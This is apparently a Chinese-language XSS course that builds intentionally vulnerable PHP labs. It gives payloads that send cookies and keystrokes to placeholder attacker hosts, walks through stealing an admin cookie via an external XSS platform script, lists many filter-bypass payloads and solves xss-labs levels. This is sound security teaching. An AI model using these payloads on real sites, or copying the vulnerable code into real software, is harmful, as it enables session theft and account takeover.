XSS漏洞

1.漏洞原理

XSS (Cross-Site Scripting) 全称跨站脚本攻击。为了避免与 CSS (Cascading Style Sheets) 混淆,缩写为 XSS。

1.1 核心原理

XSS 是一种代码注入漏洞。当 Web 应用在处理用户输入的数据时,没有进行充分的验证、过滤或转义,直接将这些数据输出到了网页中。浏览器无法区分这些数据是普通的文本还是可执行的代码,从而执行了攻击者注入的恶意脚本(通常是 JavaScript)。

攻击后果

攻击者可利用 XSS 窃取用户 Cookie/Session、进行钓鱼欺骗、篡改页面内容、或以用户身份执行恶意操作。

简要分类(后续将详细展开)

  • 反射型 XSS (Reflected)
  • 存储型 XSS (Stored)
  • DOM 型 XSS (DOM-based)

1.2 常见Payload

  • 基础弹窗(POC)

    最简单的测试代码,用于确认是否存在 XSS。

    <script>alert('XSS')</script>
    
  • 利用 HTML 属性(绕过 <script>

    如果 <script> 标签被过滤,可以利用标签的事件处理(如 onerror, onload)。

    <img src=x onerror=alert(1)>
    
    <svg/onload=alert(1)>
    
  • 利用链接协议 (javascript:)

    <a> 标签的 href 属性中执行代码。

    <a href="javascript:alert('XSS')">点击我</a>
    
  • 窃取 Cookie 示例

    将用户的 Cookie 发送到攻击者服务器(实际攻击常用)。

    <script>
    // 创建一个图像请求,将 cookie 作为参数发送
    new Image().src = "http://attacker-site.com/steal?cookie=" + document.cookie;
    </script>
    

2.XSS初体验

我们写一个留言板的网站

2.1 创建数据库

mysql> create database message;
Query OK, 1 row affected (0.00 sec)

mysql> use message;
Database changed

image-20260122123208050

2.2 创建留言板的表

mysql> create table board(date varchar(200),content varchar(200))DEFAULT CHAR set utf8;
Query OK, 0 rows affected (0.01 sec)

2.3 网页源码

<!DOCTYPE HTML>
<?php
// 留言处理
if(isset($_POST['message']))
    $getMessage = $_POST['message'];
else {
    $getMessage = "";
}

// 数据库配置
$dbhost = 'localhost';
$dbuser = 'root';
$dbpass = 'rootroot';
$dbname = 'message';
$conn = mysqli_connect($dbhost, $dbuser, $dbpass) or exit('数据库连接失败');
mysqli_query($conn, 'set names utf8');
mysqli_select_db($conn, $dbname);

if($getMessage != ""){
    // 获取当前时间
    $date = date('Y-m-d H:i:s');
    // 插入数据
    $sql = "insert into board(date, content) values('$date','$getMessage')";
    $retval = mysqli_query( $conn, $sql );
}
?>
<html>
<head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>英格科技留言板</title>
    <style>
        /* 全局样式重置 */
        body {
            font-family: 'Segoe UI', 'Microsoft YaHei', sans-serif;
            background-color: #f4f6f9;
            margin: 0;
            padding: 0;
            display: flex;
            justify-content: center;
            min-height: 100vh;
        }

        /* 主容器卡片 */
        .container {
            width: 100%;
            max-width: 800px;
            background: #fff;
            margin: 40px 20px;
            padding: 30px;
            box-shadow: 0 4px 15px rgba(0,0,0,0.1);
            border-radius: 10px;
            height: fit-content;
        }

        h1 {
            text-align: center;
            color: #333;
            margin-bottom: 30px;
            font-weight: 600;
        }

        /* 表格样式 */
        table {
            width: 100%;
            border-collapse: collapse;
            margin-bottom: 30px;
        }

        th {
            background-color: #007bff; /* 科技蓝 */
            color: white;
            padding: 12px;
            text-align: left;
            border-radius: 4px 4px 0 0;
        }

        td {
            padding: 12px;
            border-bottom: 1px solid #eee;
            color: #555;
            word-break: break-all; /* 防止长内容撑破表格 */
        }

        tr:last-child td {
            border-bottom: none;
        }

        tr:hover {
            background-color: #f9f9f9;
        }

        /* 表单区域样式 */
        .form-box {
            background-color: #fafafa;
            padding: 20px;
            border-radius: 8px;
            border: 1px solid #eee;
        }

        label {
            display: block;
            margin-bottom: 10px;
            font-weight: bold;
            color: #444;
        }

        textarea {
            width: 100%;
            height: 100px;
            padding: 10px;
            border: 1px solid #ccc;
            border-radius: 5px;
            box-sizing: border-box; /* 确保padding不增加宽度 */
            font-family: inherit;
            margin-bottom: 15px;
            resize: vertical;
        }

        textarea:focus {
            outline: none;
            border-color: #007bff;
            box-shadow: 0 0 5px rgba(0,123,255,0.2);
        }

        input[type="submit"] {
            background-color: #28a745; /* 绿色按钮 */
            color: white;
            border: none;
            padding: 10px 25px;
            border-radius: 5px;
            font-size: 16px;
            cursor: pointer;
            transition: background 0.3s;
        }

        input[type="submit"]:hover {
            background-color: #218838;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>英格科技留言板</h1>

        <table>
            <thead>
                <tr>
                    <th width="25%">日期</th>
                    <th>留言内容</th>
                </tr>
            </thead>
            <tbody>
                <?php
                // 获取任务
                $sql = "select * from board order by date desc"; // 按时间倒序,新消息在上面
                $retval = mysqli_query( $conn, $sql );
                if(! $retval ) {
                    die('<tr><td colspan="2">无法读取数据: ' . mysqli_error($conn) . '</td></tr>');
                }
                while($row = mysqli_fetch_array($retval, MYSQLI_ASSOC)) {
                    echo "<tr>";
                    echo "<td>{$row['date']}</td>";
                    // 注意:这里依然没有做 XSS 过滤,方便你继续做实验
                    echo "<td>{$row['content']}</td>"; 
                    echo "</tr>";
                }
                ?>
            </tbody>
        </table>

        <div class="form-box">
            <form action="index.php" method="post">
                <label for="message">发表新留言:</label>
                <textarea id="message" name="message" placeholder="请输入您的留言..."></textarea>
                <input type="submit" value="提交留言">
            </form>
        </div>
    </div>
</body>
</html>

2.4 测试功能

image-20260122130347234

2.5 XSS原理

在打开的留言板网页中按下F12,我们可以看到网页的前端源码 image-20260122130431711 我们可以看到这部分的代码为

<td>hello world </td>

其中hello world部分为我们自己提交的内容,如果我们提交的内容为

</td><script>alert("hello world")</script><td>

那么最终的代码就变成

<td></td>  <script>alert("hello world")</script>  <td></td>

由此可以看出,我们提交的<script>标签中的代码逃逸到了整个网页的代码中,而不仅仅只是一个字符串了 当我们提交之后,就可以发现浏览器竟然执行了我们的弹窗请求,将hello world以弹窗的形式显示出来 image-20260122124439484 点击确定,再次查看网页源代码,可以看到我们的代码确实已经跑到表格之外

image-20260122130525022

我们先清空留言板数据库

mysql> truncate table board;
Query OK, 0 rows affected (0.01 sec)

浏览器的容器能力比较强,我们根本不需要去闭合前后的标签,浏览器只要看到<xxx>这样的标签,就会自动认为这个是代码的一部分,而不是显示的字符串,在留言板中插入如下代码一样能触发xss

<script>alert("hello world")</script>

image-20260122124652683 image-20260122130614344

还有一些好玩的标签

<p/onmouseover=alert(1)>点我</p>

image-20260122130642445

<button/onclick=alert(1) >点我</button>

image-20260122130720043

3.XSS种类

将以下代码保存为 index.php

<!DOCTYPE HTML>
<?php
// === 配置与连接 ===
$dbhost = 'localhost'; $dbuser = 'root'; $dbpass = 'rootroot'; $dbname = 'message';
$conn = mysqli_connect($dbhost, $dbuser, $dbpass) or exit('数据库连接失败');
mysqli_query($conn, 'set names utf8');
mysqli_select_db($conn, $dbname);

// === 1. 存储型 XSS 处理逻辑 (写入数据库) ===
if(isset($_POST['message']) && $_POST['message'] != ""){
    $date = date('Y-m-d H:i:s');
    $msg = $_POST['message']; 

    // 试图破坏 HTML 属性结构,将 " 替换为 HTML实体 &quot;
    //$msg = str_replace("\"", "&quot;", $msg);

    // 简单粗暴地删除 script 字符
    //$msg = str_replace("script", "", $msg);

    // 实体化所有特殊字符 (<, >, ', ", &)
    // $msg = htmlspecialchars($msg, ENT_QUOTES, 'UTF-8');


    // 为了防止 SQL 注入导致插入失败 (这步必须保留,否则无法存入)
    $msg = mysqli_real_escape_string($conn, $msg);

    $sql = "insert into board(date, content) values('$date','$msg')";
    mysqli_query($conn, $sql);
}

// === 2. 反射型 XSS 处理逻辑 (搜索功能) ===
$search_html = "";
if (isset($_GET['search'])) {
    $getSearch = $_GET['search'];
    // [漏洞点 2] 直接将用户输入的搜索词回显到页面 HTML 中
    $search_html = "<div class='alert'>正在展示 &quot;" . $getSearch . "&quot; 的搜索结果</div>";
}
?>
<html>
<head>
    <meta charset="utf-8" />
    <title>XSS 综合靶场</title>
    <style>
        body { font-family: sans-serif; background: #f4f6f9; display: flex; justify-content: center; }
        .container { width: 800px; background: #fff; margin: 20px; padding: 20px; box-shadow: 0 0 10px rgba(0,0,0,0.1); }
        .alert { background: #ffeeba; color: #856404; padding: 10px; margin-bottom: 15px; border: 1px solid #ffeeba; }
        table { width: 100%; border-collapse: collapse; margin: 20px 0; }
        th, td { padding: 10px; border-bottom: 1px solid #eee; text-align: left; }
        th { background: #007bff; color: white; }
        .status-box { background: #d4edda; color: #155724; padding: 10px; display: none; margin-bottom: 10px;}
    </style>
</head>
<body>
<div class="container">
    <h1>XSS 综合演示平台</h1>

    <div id="status" class="status-box"></div>

    <?php echo $search_html; ?>

    <form action="index.php" method="get" style="margin-bottom: 20px; border:1px dashed #ccc; padding:10px;">
        <label>🔍 搜索留言(反射型测试): </label>
        <input type="text" name="search" style="width: 200px;">
        <input type="submit" value="搜索">
    </form>

    <table border="0">
        <tr><th>时间</th><th>内容</th></tr>
        <?php
        $filter = isset($_GET['search']) ? "WHERE content LIKE '%{$_GET['search']}%'" : "";
        $sql = "select * from board $filter order by date desc";
        $retval = mysqli_query($conn, $sql);
        while($row = mysqli_fetch_array($retval, MYSQLI_ASSOC)){
            echo "<tr>";
            echo "<td>{$row['date']}</td>";
            // [漏洞点 3] 数据库取出的内容直接输出,未过滤
            echo "<td>{$row['content']}</td>"; 
            echo "</tr>";
        }
        ?>
    </table>

    <form action="index.php" method="post" style="margin-top: 20px; border-top: 2px solid #eee; padding-top: 20px;">
        <label>📝 发布新留言(存储型测试): </label><br/>
        <textarea name="message" style="width:100%; height:80px;"></textarea><br/>
        <input type="submit" value="提交留言">
    </form>
</div>

<script>
    // === 3. DOM 型 XSS 处理逻辑 (前端 JS 处理) ===
    // 逻辑:读取 URL 中的 hash (#) 内容,直接写入到 div 中
    var hash = location.hash.substring(1); // 获取 # 后的内容
    if(hash){
        var statusDiv = document.getElementById('status');
        statusDiv.style.display = 'block';
        // [漏洞点 4] 使用 innerHTML 写入用户可控数据
        statusDiv.innerHTML = "当前状态: " + decodeURIComponent(hash);
    }
</script>
</body>
</html>

image-20260122131856986

3.1 存储型 XSS (Stored XSS)

原理:

恶意代码被永久存储在服务器的数据库中。每次用户访问该页面,服务器从数据库读取恶意代码并拼接到 HTML 中,浏览器自动执行。

  • 流程:黑客提交 -> 存入数据库 -> 受害者访问 -> 代码从库中取出 -> 执行。
  • 别名:持久型 XSS。 image-20240127093528737

存储型xss是持久存储的,每次访问都会被触发示例(利用上面的 Demo):

  1. 在底部的“发布新留言”框中输入:

    <script>alert('存储型XSS')</script>
    
  2. 点击提交。

  3. 现象:现在,无论你刷新页面多少次,或者换一个浏览器访问这个页面,都会弹出窗口。因为代码已经死在数据库里了。

image-20260122132536710

危害:

危害最大。只需一次攻击,所有访问者都会中招(常用于窃取 Cookie、挂马)。

image-20260122132421651

3.2 反射型 XSS (Reflected XSS)

原理:

恶意代码不存储在数据库中。它存在于 URL 的参数里,服务器接收参数后,立即将该参数“反射”(回显)到页面上。

  • 流程:黑客构造恶意 URL -> 诱骗受害者点击 -> 服务器接收并回显 -> 浏览器执行。
  • 别名:非持久型 XSS。

image-20240127093543256

常见位置:搜索框

正常搜索

image-20260122132711715

攻击示例:

1.直接在搜索框输入payload

<script>alert('反射型XSS')</script>

image-20260122132833236

image-20260122132931369

也可以不在输入框里打字,直接构造一个 URL:

http://localhost/index.php?search=<script>alert('反射型XSS')</script>

将这个链接复制到浏览器访问,效果一致,任何人访问这个url都会有弹窗

image-20260122133018449

如果你去掉 URL 里的参数直接访问 index.php,不会有任何弹窗。攻击是一次性的。

利用点:

反射型xss需要构造链接,并且让被攻击者自己点击链接,所以需要与社会工程学配合才可以达到最好效果

3.3 DOM 型 XSS (DOM-based XSS)

原理:

这是一种特殊的 XSS,实际上属于反射型的一种变体,也是完全发生在客户端(浏览器)。

服务器返回的页面源码中可能并没有恶意代码,是浏览器加载页面后,JavaScript 脚本读取了用户的输入(如 URL 的 # 后面的内容),并将其动态插入到了 HTML 页面中。

  • 数据流:Source (输入源,如 location.hash) -> Sink (执行点,如 innerHTML)。
  • 特点:流量可能不经过服务器(如果利用 Hash #),WAF(防火墙)较难检测。

image-20240127093536095

DOM 型 XSS(DOM XSS)

关键特征:

  • payload 不经过服务器处理
  • 服务器返回的是“干净页面”
  • 前端 JavaScript 从 URL / hash / 参数中读取数据
  • JS 操作 DOM 时把恶意内容写入页面

数据流向:

URL / hash
   ↓
浏览器加载页面
   ↓
前端 JS 读取 location / DOM
   ↓
JS 写入 innerHTML / document.write 等
   ↓
脚本执行

查看源代码(View Source) 中,通常看不到 payload,只能在 F12 Elements / Sources 中看到。

判断 DOM XSS 的最简单方法:

  1. 打开页面
  2. 查看「页面源代码(Ctrl+U)」
  3. 搜索你的 payload

  4. 能看到 → 反射 / 存储型 XSS

  5. 看不到,但 F12 能看到 → DOM XSS

示例:

1.注意 Demo 代码底部的 <script> 部分,它会读取 # 后的内容写入页面。

<script>
    // === 3. DOM 型 XSS 处理逻辑 (前端 JS 处理) ===
    // 逻辑:读取 URL 中的 hash (#) 内容,直接写入到 div 中
    var hash = location.hash.substring(1); // 获取 # 后的内容
    if(hash){
        var statusDiv = document.getElementById('status');
        statusDiv.style.display = 'block';
        // [漏洞点 4] 使用 innerHTML 写入用户可控数据
        statusDiv.innerHTML = "当前状态: " + decodeURIComponent(hash);
    }
</script>

2.构造 URL:

http://localhost/index.php#<img src=x onerror=alert('DOM型XSS')>

访问链接,页面顶部的绿色状态栏出现,并且弹窗。

image-20260122133330687

右键查看网页源代码(View Source),你会发现源码里根本没有 <img src=x...> 这段代码。

image-20260122133431331

这段代码是页面加载后,JS 动态加上去的。这就是 DOM 型与前两者的最大区别。

3.4 三种XSS对比

类型 存储位置 触发机制 攻击持久性 典型场景
存储型 数据库/服务器文件 访问页面即触发 长期有效 留言板、评论区、用户简介
反射型 URL 参数 诱导点击特定链接 一次性 搜索框、报错信息、跳转页
DOM型 DOM 树 (内存) 诱导点击或本地交互 一次性 动态页面、前端路由、JS插件

3.5 小实验

1.自己搭建复现上面的“留言板靶场”,测试三种XSS;

2.完成DVWA靶场XSS相关两个题目,low、medium、high都完成(大小写绕过,img绕过);

3.完成Pikachu靶场 反射型 XSS(get)、反射性 xss(post)、存储型XSS、DOM XSS四个题目。

4.XSS的危害

很多人误以为 XSS 只是弹个窗恶作剧,但实际上,JavaScript 非常强大。攻击者利用 XSS 可以获取浏览器拥有的几乎所有权限。

这是 XSS 最常见、最直接的危害。

  • 原理:

    Web 应用通常使用 Session ID(存储在 Cookie 中)来维持用户登录状态。如果攻击者通过 XSS 获取了用户的 Cookie,就可以在不需密码的情况下,直接冒充该用户登录系统。

  • 攻击流程

    1. 攻击者在网页植入恶意脚本。
    2. 用户访问网页,脚本自动执行 document.cookie 读取 Cookie。
    3. 脚本创建一个不可见的图片或发送 AJAX 请求,将 Cookie 发送到黑客的接收平台(XSS 平台)。
  • Payload 案例

    <script>
    // 创建一个图像,源地址指向黑客服务器,并将 cookie 作为参数附带
    new Image().src = "http://hacker-server.com/steal.php?cookie=" + document.cookie;
    </script>
    

4.2 劫持用户会话,执行任意操作 (CSRF via XSS)

攻击者不仅仅能“偷”数据,还能“做”事情。

  • 原理:

    由于脚本是在用户的浏览器中运行的,它自动继承了用户的登录凭证。攻击者可以通过 JavaScript 模拟用户发送 HTTP 请求(GET/POST)。

  • 危害场景

    • 自动关注某个账号。
    • 自动发布带有广告或恶意链接的微博/帖子。
    • 修改密码(如果修改密码不需要验证旧密码)。
    • 删除好友、删除数据。
  • Payload 案例(自动发帖)

    <script>
    // 模拟用户向发帖接口发送数据
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "/api/post_comment", true);
    xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    xhr.send("content=我被黑客劫持了,这是自动发的&token=" + token);
    </script>
    

4.3 记录键盘输入 (Keylogging)

  • 原理:

    JavaScript 可以监听浏览器的事件(Event Listener)。攻击者可以注册键盘按下事件 (onkeydown / onkeypress),将用户敲击的每一个键记录下来并发送出去。

  • 危害:

    即使 Cookie 有 HttpOnly 保护无法读取,攻击者依然可以通过键盘记录窃取用户的明文密码、信用卡号或银行卡密码。

  • Payload 案例

    <script>
    // 监听键盘按键
    document.onkeypress = function(e) {
        var key = e.key;
        // 将按键发送给黑客
        new Image().src = "http://hacker.com/log?key=" + key;
    }
    </script>
    

4.4 钓鱼攻击 (Phishing)

  • 原理:

    利用 XSS 修改 DOM 结构。攻击者可以将当前页面的登录框伪装成“会话超时,请重新登录”,或者将页面跳转到一个高仿的钓鱼网站。

  • 危害:

    因为域名依然是合法的(比如 facebook.com 下的 XSS),用户极难察觉,从而乖乖交出账号密码。

  • Payload 案例

    <script>
    // 清空页面并插入伪造的登录框
    document.body.innerHTML = '<h1>系统升级,请重新登录</h1><form action="http://hacker.com/login">账号:<input><br>密码:<input><input type="submit"></form>';
    </script>
    

4.5 传播 XSS 蠕虫 (XSS Worm)

这是 XSS 危害的终极形态,结合了存储型 XSSCSRF

  • 原理

    1. 用户 A 访问了感染页面(查看了黑客的资料)。
    2. 恶意脚本执行,自动将所有的“自我复制的代码”修改到用户 A 的个人资料中。
    3. 用户 B 查看了用户 A 的资料,也被感染。
    4. 病毒呈指数级扩散,短时间内即可瘫痪整个社交网络。
  • 著名案例:

    Samy Worm (2005年 MySpace 事件):黑客 Samy 利用 XSS,让每个查看他资料的人自动加他好友,并把这段恶意代码复制到受害者的简介里。短短 20 小时内,他拥有了 100 万好友,导致 MySpace 全站下线修复。

4.6 刷流量、挖矿与广告

  • 原理
    • 刷流量:在页面中插入隐藏的 <iframe>,指向需要刷流量的网站。
    • 弹窗广告:强制弹出赌博或色情网站。
    • 恶意挖矿:利用受害者的浏览器 CPU 算力挖掘加密货币(Cryptojacking),导致用户电脑卡顿。

5.盗取客户端cookie实战

5.1 什么是cookie

Cookie技术通过在请求和响应报文中写入cookie信息来控制客户端的状态

  • Cookie会根据从服务器端发送的响应报文内的一个叫做Set-Cookie的首部字段信息,通知客户端保存Cookie,客户端下次再向服务器发送请求时,会自动携带cookie信息,一起发送给服务器
  • 服务器发现客户端发送过来的cookie后,会去检查是从哪一个客户端发来的连接请求,然后对比服务器上的记录,最后得到之前的状态信息,这时,就可为客户端继续提供有状态化的服务了。

5.2 逍遥留言板实战

内部靶场创建实例

image-20260122141818251

访问前台可以看到是一个留言板,可以进行登录,区分不同用户 image-20240127093606330

5.2.1 XSS平台准备

xss平台可以自己搭建,也可以使用别人搭建好的,甚至js学习的不错的,可以不需要xss平台,直接将xss得到的信息发到邮箱 本次案例使用的是xss平台,https://xssaq.com/

  • 在xss平台上创建项目

image-20260122151045386

  • 获取xss payload

image-20260122151123789

image-20260122151155689

这里就用最简单的就可以

<sCRiPt sRC=//xs.pe/zeN></sCrIpT>

5.2.2 在留言平台插入xss代码

在留言板中进行留言,留言的内容中必须包含xss脚本 image-20260122151328023 提交成功之后,我们就可以在留言板界面看到这条留言,可以发现我们夹带在其中的代码已经被执行了 image-20260122152212568 在xss平台上,我们也可以看到这个游客身份的cookie已经被获取 image-20260122152239744

甚至还有屏幕截图

image-20260122152303787

下面等待管理员上线

5.2.3 模拟管理员上线

这个网站的后台是

/index.php?c=adminlogin

管理员账号密码是admin/admin888

image-20240127093629169 登录成功后,我们查看到这条留言 image-20260122152412732 此时管理员的cookie已经被提交到xss平台上面,我们已经获取到管理员的cookie以及后台的地址 image-20260122152450318

5.2.4 盗用管理员cookie登录后台

这边使用cookie修改插件,强行修改cookie的内容 image-20260122152557957 修改完cookie之后,直接访问后台地址

/index.php?c=admin&a=index

image-20260122152710868

哪怕直接修改管理员密码都是可以的 image-20260122152733736

6.XSS防范

6.1 替换双引号

可以添加对提交语句的过滤,比如如果遇到引号,就用html的特殊字符进行替换

HTML 原代码 显示结果 描述
&lt; < 小于号或显示标记
&gt; > 大于号或显示标记
&amp; & 可用于显示其它特殊字符
&quot; 引号
&reg; ® 已注册
&copy; © 版权
&trade; 商标
&ensp; 半个空白位
&emsp; 一个空白位
&nbsp; 不断行的空白

比如可以替换上面的留言板的php代码

$msg = str_replace("\"", "&quot;", $msg);

提交正常的带引号的评论进行测试,能够正常显示 image-20260122154233872

实际上查看网页源代码,发现也是被替换了

image-20260122154454470

提交xss弹窗语句,发现双引号已经被替换 image-20260122154156306 提交不用双引号的xss代码

<script>alert(/hello world/)</script>

image-20260122154530197

6.2 替换script

替换script,就可以让代码执行不起来了,再加上一个替换语句

$msg = str_replace("script", "", $msg);

再次提交xss代码,发现script代码已经被吞 image-20260122154751585 尝试提交下面的代码绕过

<sCRiPt>alert(/hello world/)</ScRIpT>

大小写绕过成功 image-20260122154819776 假如我们将大小写全部给匹配上,我们依旧可以利用双写法绕过

<scscriptript>alert(/hello world/)</scrscriptipt>

不用<script>一样能触发xss

<img src="x" onerror=alert(/xss/)>

7. XSS绕过

7.1 a标签

#javascript协议
<a href=javascript:alert(1)>点我啊</a>

# data协议
<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>点我</a>

# url编码的data协议
<a    href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>

# 另两种方式实现
<a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill="black"/></a></svg>
<math><a xlink:href=javascript:alert(1)>点我</math>

7.2 script标签

# 直接弹窗
<script>alert(1)</script>
<script>confirm(1)</script>
<script>pormpt(1)</script>

# javascript协议编码
<script>alert(String.fromCharCode(49))</script>

# 如果输出是在setTimeout里,我们依然可以直接执行alert(1)
<script>setTimeout('alert(1)',0)</script>

7.3 button标签

# 点击弹窗
<button/onclick=alert(1) >点我</button>

# 不需要点击就能弹窗
<button onfocus=alert(1) autofocus>

7.4 p标签

# 可以直接使用事件触发
<p/onmouseover=alert(1)>点我</p>

7.5 img标签

# 可以使用事件触发
<img src=x onerror=alert(1)>

7.6 body标签

# 事件触发
<body onload=alert(1)>

# onscroll 事件在元素滚动条在滚动时触发,即页面存在很多内容,需要滚动才能看到下面的内容,就会触发
<body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>

7.7 var标签

# 事件触发,一般是用不需交互的事件比如鼠标移动等
<var onmousemove=alert(1)>M</var>

7.8 div标签

# 事件触发
<div/onclick='alert(1)'>X</div>

7.9 input标签

和button一样通过autofocus可以达到无需交互即可弹窗的效果。
<input onfocus=javascript:alert(1) autofocus>
<input onblur=javascript:alert(1) autofocus><input autofocus>

7.10 select标签

<select onfocus=javascript:alert(1) autofocus>

7.11 textarea标签

<textarea onfocus=javascript:alert(1) autofocus>

7.12 keygen标签

<keygen onfocus=javascript:alert(1) autofocus>

7.13 frameset标签

<FRAMESET><FRAME SRC="javascript:alert(1);"></FRAMESET>

7.14 svg标签

<svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg>
<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg>

7.15 math标签

<math href="javascript:javascript:alert(1)">CLICKME</math>
<math><y/xlink:href=javascript:alert(51)>test1

7.16 video标签

<video><source onerror="alert(1)">
<video src=x onerror=alert(48)>

7.17 audio标签

<audio src=x onerror=alert(47)>

7.18 embed标签

<embed src=javascript:alert(1)>

7.19 meta标签

测试发现,文章标题跑到meta标签中,那么只需要跳出当前属性再添加http-equiv=”refresh”,就可以构造一个有效地xss payload。还有一个思路,就是通过给http-equiv设置set-cookie,进一步重新设置cookie来达成一些目的。
<meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/><meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">

7.20 marquee标签

<marquee onstart="alert('1')"></marquee>

7.21 isindex标签

<isindex type=image src=1 onerror=alert(1)>
<isindex action=javascript:alert(1) type=image>

当过滤掉javascript,alert等常见关键词,单引号,双引号,分号时,可以尝试使用以上不同的标签插入,达到弹出窗口的目的。

7.22 大小写绕过

<sCript>

7.23 alert被过滤

可以尝试prompt和confirm

7.24 空格被过滤

<img/src=""onerror=alert(2)> 
<svg/onload=alert(2)></svg>

7.25 长度限制

 <q/oncut=alert(1)>//在限制长度的地方很有效

7.26 括号被过滤

可以使用throw来抛出数据

<a onmouseover="javascript:window.onerror=alert;throw 1">2</a>
<img src=x onerror="javascript:window.onerror=alert;throw 1">

7.27 过滤某些关键字

如:javascript, 可以在属性中的引号内容中使用空字符、空格、TAB换行、注释、特殊的函数,将代码行隔开。如:javas%09cript:alert()、javas%0acript:alert()、javas%0dcript:alert(),其中%0a表示换行。

7.28 编码绕过

十六进制编码、jsfuck编码、url编码、unicode编码

<0x736372697074>alert('123')</0x736372697074>
<img src="1" onerror="alert(1)">

8.XSS挑战之旅

8.1 Level-1

在“name=”后面写什么,网页就显示什么。 image-20240127093739206 查看源码,发现写入的数据在<>标签的外面,那么name的值直接换成JS:

<script>alert(1)</script>

image-20240127093744059 image-20240127093748068

8.2 Level-2

在搜索框中输入

<script>alert(1)</script>

发现没有弹窗弹出,查看网页源码,发现<>都被过滤掉了 image-20240127093752389 image-20240127093755637 但value里面没有过滤掉,闭合value的值,

"><script>alert(1)</script>

成功弹出窗口 image-20240127093758704

8.3 Level-3

在搜索框中输入

<script>alert(1)</script>

发现没有弹窗弹出,查看网页源码,发现<>都被转义了 image-20240127093802149 image-20240127093805672

<script>alert(1)</script>

进行编码后尝试 image-20240127093809033 发现还是被转译了 image-20240127093812087 由于<>都被转义了过滤了,可以利用input标签的其他属性进行窗口弹出

' onfocus=javascript:alert(1) '

image-20240127093815246 在源码里直接修改input标签里的内容,也能实现窗口弹出,这种方法对有input标签的题目都有用。 这种方法在CTF中可以用到,实际的利用会比较困难。 image-20240127093818624

8.4 Level-4

在搜索框中输入

<script>alert(1)</script>

查看网页源码,发现<>被转义和过滤掉了。和Level-3一样,可以利用input标签的其他属性进行窗口弹出,

" onfocus=javascript:alert(1)  "

image-20240127093825766

8.5 Level-5

在搜索框中输入

<script>alert(1)</script>

查看源码,发现script被转义成scr_ipt,on被转义成o_n,但javascript没有被转义。 image-20240127093830609 输入

"><a href=javascript:alert(1)>点我啊</a>

image-20240127093834209

8.6 Level-6

在搜索框中输入

<script>alert(1)</script>

等代码。发现转义了script、on、href、src等关键词。 image-20240127093839237 image-20240127093844350 image-20240127093848509 尝试大小写绕过:

" ><sCRipt>alert(1)</script>

image-20240127093854134 当然使用万能的修改Input源码也是可以触发的

8.7 Level-7

发现过滤了很多关键词:

<script> 变成了 <>
<a href> 变成了 <a>
<img src> 变成了 <img>
onerror 变成了error
javacript:变成了java:

image-20240127093959660 尝试双写script绕过

" ><sCRsCRiptipt>alert(1)</scrscriptipt>

image-20240127094005224

8.8 Level-8

输入

<script>alert(1)</script>

发现输入的内容在a标签的href内。 image-20240127094010989 在网址后面加:javascript:alert(1),变成javascr_ipt:alert(1),大小写绕过没用 image-20240127094014685 利用属性引号中的内容可以使用空字符、空格、TAB换行、注释、特殊的函数,将代码隔开。如:javas%09cript:alert()、javas%0acript:alert()、javas%0dcript:alert()的特性,成功绕过 前面在SQL注入绕过阶段就讲过空字符绕过,回顾一下

编码 空格字符
%09 TAB键(水平制表符)
%0a 新的一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直制表符)
%a0 空格

image-20240127094018810

8.9 Level-9

输入javascript:alert(1)查看源码显示“链接不合法”,尝试输入正常的链接:http://127.0.0.1显示正常 image-20240127094022169 image-20240127094025820 疑似检测字符串是否存在http://,所以写一个不是网址的字符串 hellohttp://world image-20240127094029060 输入

 javas%0acript:alert(1) <!--  http://  -->

或者

javas%0acript:alert(1) // http://

image-20240127094032750

8.10 Level-10

使用万能的input方法...当然不建议,只是带大家回顾一下(*╯3╰) image-20240127094036439 观察源码,发现有个form表单,然后默认是GET提交的方式,里面有三个被隐藏的input,我们尝试一个个的手动提交这些变量名,结果发现t_sort会被携带在value中 image-20240127094040014 提交一下t_sort的值 image-20240127094042723 发现出现在value中了 image-20240127094045938 构建攻击内容

?t_sort=1" onfocus=alert(1) type=“text”

image-20240127094049672 查看一下提交之后的源码 image-20240127094054319

8.11 Level-11

提交

?t_sort=1" onfocus=alert(1) type=“text”

发现已经讲特殊符号实体化,在前端源码中发现了新线索就是这个t_ref,疑似referer image-20240127094057650 尝试使用修改请求中的referer,然后发现填写的内容出现在了value中 image-20240127094100639 image-20240127094105159 构造攻击语句

?t_sort=1" onfocus=alert(1) type=“text”

image-20240127094114390

8.12 Level-12

打开源码,发现ua,那就和Level-11的方式一样了 image-20240127094117885 image-20240127094123053

8.13 Level-13

与11和12一样 image-20240127094125830 查询到cookie的名称为user image-20240127094129701 提交攻击语句 image-20240127094133742

8.14 Level-14

原版第14关是无法正常工作的,这边英格已经将代码补齐了,这关是考察图片的exif信息会导致xss 可以看到会显示照片的作者在网页上 image-20240127094141153 找张图片修改作者的信息 image-20240127094145144 将图片传上去,就可以触发xss image-20240127094148049

8.15 Level-15

这关考察的是AngularJS的ng-include指令,可以在源码中看到引入了angularjs,并且页面中存在ng-include 关于ng-include的指令可以参考https://www.runoob.com/angularjs/ng-ng-include.html image-20240127094151464 我们引入第一关的页面 image-20240127094155119 利用第一关的xss image-20240127094200168

8.16 Level-16

先试试

<script>alert(1)</script>

发现script被替换为&nbsp image-20240127094204865 不使用script,换成

<img src=1 onerror=alert(1)>

发现空格被替换 image-20240127094208462 使用%0a替代空格

<img%0asrc=1%0aonerror=alert(1)>

image-20240127094212331

8.17 Level-17

尝试修改一下变量值,可以看到会被填到src部分,并且src没有引号,不需要闭合 image-20240127094216080 传入

<script>alert(1)</script>

